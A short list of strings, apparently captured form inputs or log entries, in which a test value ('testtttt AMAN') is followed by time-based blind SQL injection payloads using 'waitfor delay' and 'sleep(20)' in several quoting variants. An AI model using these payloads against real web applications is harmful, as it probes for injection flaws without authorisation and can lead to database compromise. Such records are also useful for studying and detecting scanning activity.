testtttt AMAN')waitfor delay'0:0:20'--
testtttt AMAN
testtttt AMAN' waitfor delay'0:0:20'--
testtttt AMAN,(select*from(select(sleep(20)))a)
testtttt AMAN' and (select*from(select(sleep(20)))a)--
testtttt AMAN'+(select*from(select(sleep(20)))a)+'